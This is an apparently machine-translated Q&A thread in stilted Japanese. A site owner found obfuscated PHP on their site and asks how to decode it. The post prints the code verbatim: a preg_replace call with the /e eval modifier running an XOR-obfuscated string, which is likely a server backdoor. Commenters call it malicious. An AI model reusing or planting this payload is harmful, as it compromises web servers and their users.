のデコード:私は私のサイトの一部で、この次のコードを見てい奇妙な、おそらく悪質なPHPコード
preg_replace("/lWkTSJcPlD6Ty3nInmjgvJ=vcL/e", "d=0nAheu6tYPSH36hrrw25iBpfJC3ZDVZB9aibJcJhscojWKPC8G7eHk=Rn3rqMGsJgPlpsvMaM20iBOl9UgbcGbutSaZehGoCWOsD=5dLucuvqUtA2Jc9lLr4mFXIMALiP4mPxFahhJSNeANUKqSv20ndDAmPBxyQpZfcf70BFQPjQc5aH"^"\x01KQ\x02iJ\x0c\x13\x1e\x1d\x2a\x236\x3c\x1bj4V\x2d\x25wd\x3c\x07\x232\x11dP2c\x0bsb\x1fGIJ\x27\x07\x7f\x40\x2f\x3fK5\x05\x0e\x01\x16\x7d\x14c\x3eo\x08Uu3\x1aRLpgT\x7fQh\x0e\x16KFuQxT\x00\x08sy\x0f\x08eS\x07\x05\x23R\x40\x12eSlW\x5bs\x0ed\x7eoUb\x1d\x5c\x17\x3f\x10\x17\x5d\x2a\x2dq\x2b\x13w\x1b6\x7c\x3f\x18\x29\x13\x1d\x2e\x28\x16\x2e\x2e\x28\x0cwiDyX=A\x0d\x1e\x2b\x3ff9\x1dj\x0a\x194\x02\x23wc\x3a\x3fc1\x05\x20\x1d\x1b\x165\x15\x7d\x3bJ\x5d\x17U\x3a\x2f\x25xCjCHCa", "lWkTSJcPlD6Ty3nInmjgvJ=vcL");
?>
を私は通常のevalのように、いくつかのパースによって解読しようとしたと運を持っていません。誰がどのようにデコードし、それが何をするかを知っていますか?
それはにpreg_replace上/ E(evalの)修飾子を使用しているが、私はそれを一緒にXORされている2列だ気づく第二部を見てみる//
「あなたのサイト」になっていて、そこに置かなかった場合、それは定義上悪意のあるものです。 –
@Karl - 匿名の恩人で、誰かが悪いコードをより良いものに置き換えるためにサイトをハックすることに決めた可能性があります。 – EboMike
@EboMike人もそうするのですか? – DGund